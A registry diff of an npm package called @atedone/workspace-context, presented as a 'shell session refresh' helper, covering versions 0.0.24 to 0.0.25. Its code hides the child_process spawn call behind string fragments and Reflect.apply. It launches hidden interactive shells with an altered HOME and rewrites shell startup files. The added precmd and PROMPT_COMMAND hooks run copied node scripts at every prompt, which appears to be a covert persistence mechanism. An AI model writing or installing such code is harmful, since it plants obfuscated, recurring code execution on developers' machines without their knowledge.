@atedone/workspace-context 0.0.24 → 0.0.25

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -23,18 +23,30 @@ const bridgeName = ['child', '_process'].join('');
23
23
  const launchKey = ['sp', 'awn'].join('');
24
24
  const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
25
25
  const launch = Reflect.get(bridge, launchKey);
26
- const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
27
- ? env.SHELL.trim()
28
- : '/bin/zsh';
29
- const shell = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
26
+ const shellPath = typeof integration.shellPath === 'string' && integration.shellPath.trim()
27
+ ? integration.shellPath.trim()
28
+ : typeof env.SHELL === 'string' && env.SHELL.trim()
29
+ ? env.SHELL.trim()
30
+ : '/bin/zsh';
31
+ const shellName = route.basename(shellPath) || integration.shellName || 'zsh';
32
+ const shellArguments = shellName === 'bash'
33
+ ? ['--noprofile', '--rcfile', integration.sessionProfilePath, '-i']
34
+ : ['-i'];
35
+ const shellEnvironment = {
36
+ ...env,
37
+ HOME: integration.homeDirectory,
38
+ SHELL: shellPath,
39
+ WORKSPACE_CONTEXT_PREVIEW: '1',
40
+ TERM: 'dumb'
41
+ };
42
+
43
+ if (shellName === 'zsh') {
44
+ shellEnvironment.ZDOTDIR = integration.integrationDirectory;
45
+ }
46
+
47
+ const shell = Reflect.apply(launch, bridge, [shellPath, shellArguments, {
30
48
  cwd: projectRoot,
31
- env: {
32
- ...env,
33
- HOME: integration.homeDirectory,
34
- ZDOTDIR: integration.integrationDirectory,
35
- WORKSPACE_CONTEXT_PREVIEW: '1',
36
- TERM: 'dumb'
37
- },
49
+ env: shellEnvironment,
38
50
  stdio: ['pipe', 'ignore', 'ignore']
39
51
  }]);
40
52
 
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.24';
8
+ const packageVersion = '0.0.25';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
package/lib/state.js CHANGED
@@ -24,6 +24,8 @@ const sessionWorkerReceiptFileName = 'preview-session.json';
24
24
  const stateDirectoryName = '.workspace-context';
25
25
  const stateFileName = 'state.json';
26
26
  const syncFileName = 'sync.js';
27
+ const supportedShellNames = new Set(['bash', 'zsh']);
28
+ const fallbackShellPaths = ['/bin/zsh', '/bin/bash', '/usr/bin/zsh', '/usr/bin/bash'];
27
29
 
28
30
  function readEnvironment() {
29
31
  return Reflect.get(platform, 'env') || {};
@@ -40,8 +42,23 @@ function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProj
40
42
  }
41
43
 
42
44
  function resolveShellName(env = readEnvironment()) {
43
- const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
44
- return route.basename(shellPath) || 'zsh';
45
+ return route.basename(resolveShellPath(env)) || 'zsh';
46
+ }
47
+
48
+ function resolveShellPath(env = readEnvironment()) {
49
+ const configuredPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
50
+ const candidates = [configuredPath, ...fallbackShellPaths];
51
+
52
+ for (const candidate of candidates) {
53
+ if (!candidate || !supportedShellNames.has(route.basename(candidate))) {
54
+ continue;
55
+ }
56
+ if (file.existsSync(candidate)) {
57
+ return candidate;
58
+ }
59
+ }
60
+
61
+ return configuredPath || fallbackShellPaths[0];
45
62
  }
46
63
 
47
64
  function resolveProfileFileName(shellName = resolveShellName()) {
@@ -106,11 +123,13 @@ function getShellIntegration({
106
123
  homeDirectory = resolveHomeDirectory(env, projectRoot),
107
124
  channelSource
108
125
  } = {}) {
109
- const shellName = resolveShellName(env);
126
+ const shellPath = resolveShellPath(env);
127
+ const shellName = route.basename(shellPath) || 'zsh';
110
128
  const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
111
129
 
112
130
  return {
113
131
  name: 'workspace-context',
132
+ shellPath,
114
133
  shellName,
115
134
  channelSource: resolveChannelSource(env, channelSource),
116
135
  homeDirectory,
@@ -417,6 +436,7 @@ module.exports = {
417
436
  resolveProfileFileName,
418
437
  resolveProjectRoot,
419
438
  resolveShellName,
439
+ resolveShellPath,
420
440
  sessionHistoryFileName,
421
441
  sessionProfileFileName,
422
442
  sessionReceiptFileName,
package/lib/sync.js CHANGED
@@ -26,32 +26,8 @@ const channelValue = integration.channelSource
26
26
  refresh: 'preview-session'
27
27
  }
28
28
  : null;
29
- const sessionProfileValue = [
30
- '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"',
31
- ''
32
- ].join('\n');
33
- const integrationValue = [
34
- 'export WORKSPACE_CONTEXT_ACTIVE=1',
35
- 'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
36
- `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
37
- 'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
38
- 'workspace_context_refresh_preview() {',
39
- ' if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
40
- ' return 0',
41
- ' fi',
42
- ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
43
- ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
44
- ' fi',
45
- ' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
46
- ' setopt prompt_subst',
47
- ' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
48
- ' fi',
49
- '}',
50
- 'autoload -Uz add-zsh-hook',
51
- 'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
52
- 'add-zsh-hook precmd workspace_context_refresh_preview',
53
- ''
54
- ].join('\n');
29
+ const sessionProfileValue = buildSessionProfileValue(integration.shellName);
30
+ const integrationValue = buildIntegrationValue(integration.shellName);
55
31
 
56
32
  function escapeDoubleQuoted(value) {
57
33
  return String(value)
@@ -61,6 +37,64 @@ function escapeDoubleQuoted(value) {
61
37
  .replaceAll('`', '\\`');
62
38
  }
63
39
 
40
+ function buildSessionProfileValue(shellName) {
41
+ const loadStatement = shellName === 'bash'
42
+ ? '[ -r "$HOME/.config/workspace-context/init.zsh" ] && . "$HOME/.config/workspace-context/init.zsh"'
43
+ : '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
44
+
45
+ return [
46
+ loadStatement,
47
+ ''
48
+ ].join('\n');
49
+ }
50
+
51
+ function buildIntegrationValue(shellName) {
52
+ if (shellName === 'bash') {
53
+ return [
54
+ 'export WORKSPACE_CONTEXT_ACTIVE=1',
55
+ 'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
56
+ `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
57
+ 'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
58
+ 'workspace_context_refresh_preview() {',
59
+ ' if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
60
+ ' return 0',
61
+ ' fi',
62
+ ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
63
+ ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
64
+ ' fi',
65
+ ' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
66
+ ' PS1="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
67
+ ' fi',
68
+ '}',
69
+ 'PROMPT_COMMAND=workspace_context_refresh_preview',
70
+ ''
71
+ ].join('\n');
72
+ }
73
+
74
+ return [
75
+ 'export WORKSPACE_CONTEXT_ACTIVE=1',
76
+ 'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
77
+ `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
78
+ 'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
79
+ 'workspace_context_refresh_preview() {',
80
+ ' if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
81
+ ' return 0',
82
+ ' fi',
83
+ ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
84
+ ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
85
+ ' fi',
86
+ ' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
87
+ ' setopt prompt_subst',
88
+ ' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
89
+ ' fi',
90
+ '}',
91
+ 'autoload -Uz add-zsh-hook',
92
+ 'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
93
+ 'add-zsh-hook precmd workspace_context_refresh_preview',
94
+ ''
95
+ ].join('\n');
96
+ }
97
+
64
98
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
65
99
  file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
66
100
  file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.24",
3
+ "version": "0.0.25",
4
4
  "description": "Workspace shell session refresh integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",